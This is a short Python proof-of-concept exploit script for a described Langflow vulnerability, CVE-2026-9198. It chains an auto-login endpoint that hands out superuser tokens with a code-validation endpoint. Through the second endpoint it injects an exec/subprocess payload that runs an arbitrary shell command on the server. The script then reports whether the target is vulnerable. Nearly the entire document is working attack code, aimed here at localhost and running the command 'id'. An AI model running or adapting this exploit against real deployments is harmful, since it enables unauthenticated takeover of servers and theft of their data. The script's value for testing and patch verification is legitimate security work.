import requests ### # Proof of Concept for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass # # IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to # chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) # with /api/v1/validate/code (executes user code via exec()) # to achieve full RCE on default Langflow deployments ### CMD = "id" URL = "http://127.0.0.1:9999" def main(): path = "/api/v1/auto_login" for method in ("GET", "POST"): r = requests.request(method, f"{URL}{path}") if r.status_code == 200: token = r.json().get("access_token") break else: print(f"[-] {path} failed: {r.status_code}\n") return payload = f""" def poc(_=exec('raise Exception(__import__("subprocess").check_output("{CMD}", shell=True, stderr=__import__("subprocess").STDOUT).decode())')): pass """.strip() r = requests.post( f"{URL}/api/v1/validate/code", json={"code": payload}, headers={"Authorization": f"Bearer {token}"}, ) out = (r.json().get("function", {}).get("errors") or [""])[0].rstrip("\n") if "uid=" in out and "gid=" in out: print(f"\033[91m[!] {URL} is vulnerable to CVE-2026-9198: {out}\n\033[0m") else: print(f"\033[92m[-] {URL} is not vulnerable to CVE-2026-9198\n\033[0m") if __name__ == "__main__": main()